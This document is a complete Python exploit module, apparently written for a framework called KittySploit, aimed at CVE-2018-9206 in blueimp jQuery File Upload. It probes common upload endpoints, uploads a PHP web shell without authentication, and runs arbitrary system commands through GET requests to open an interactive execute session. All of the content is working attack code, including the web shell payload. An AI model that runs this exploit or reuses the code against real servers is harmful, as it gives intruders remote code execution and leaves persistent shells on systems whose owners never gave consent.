jQuery File Upload RCE (CVE-2018-9206)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""blueimp jQuery File Upload unauth PHP upload RCE (CVE-2018-9206) — execute session."""

from __future__ import annotations

import re
import secrets
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'jQuery File Upload RCE (CVE-2018-9206)',
        'description': (
            'Exploits CVE-2018-9206 by uploading a PHP shell to blueimp jQuery-File-Upload '
            'endpoints and executing commands via GET. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-9206'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-9206',
            'https://www.exploit-db.com/exploits/45790',
        ],
        'tags': ['jquery', 'blueimp', 'upload', 'php', 'rce', 'unauth', 'cve-2018-9206'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'PHP upload'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2018_9206_detect'],
            },
        },
    }

    upload_path = OptString('', 'Upload endpoint path (auto if empty)', False, advanced=True)

    _ENDPOINTS = (
        ('/server/php/upload.class.php', '/server/php/index.php'),
        ('/server/php/UploadHandler.php', '/server/php/index.php'),
        ('/example/upload.php', '/example/upload.php'),
        ('/php/index.php', '/php/index.php'),
        ('/jQuery-File-Upload/server/php/index.php', '/jQuery-File-Upload/server/php/index.php'),
    )

    def _php_shell(self) -> str:
        return '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'

    def _upload(self) -> str | None:
        fname = f'{secrets.token_hex(4)}.php'
        bound = secrets.token_hex(16)
        body = (
            f'--{bound}\r\n'
            f'Content-Disposition: form-data; name="files[]"; filename="{fname}"\r\n'
            'Content-Type: application/octet-stream\r\n\r\n'
            f'{self._php_shell()}\r\n\r\n'
            f'--{bound}--\r\n'
        )
        headers = {'Content-Type': f'multipart/form-data; boundary={bound}'}
        pairs = self._ENDPOINTS
        if self.upload_path:
            up = str(self.upload_path)
            if not up.startswith('/'):
                up = '/' + up
            pairs = ((up, up),)
        for probe, upload in pairs:
            if not self.upload_path:
                p = self.http_request(method='GET', path=probe, allow_redirects=False)
                if not p or int(p.status_code or 0) != 200:
                    continue
            r = self.http_request(
                method='POST',
                path=upload,
                data=body.encode(),
                headers=headers,
                allow_redirects=False,
            )
            if not r:
                continue
            m = re.search(r'"url"\s*:\s*"([^"]+)"', r.text or '')
            if not m:
                continue
            url = m.group(1).replace('\\/', '/')
            if url.startswith('http'):
                url = urlparse(url).path or url
            if not url.startswith('/'):
                url = '/' + url
            self._shell_path = url
            return url
        return None

    def execute(self, cmd: str) -> str:
        if not getattr(self, '_shell_path', None):
            if not self._upload():
                return ''
        from urllib.parse import quote
        path = f'{self._shell_path}?cmd={quote(cmd)}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-9206 confirmed via PHP shell id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'jQuery File Upload did not yield a working PHP shell',
            'confidence': 'medium',
        }

    def check_execute(self):
        self._shell_path = None
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._shell_path = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()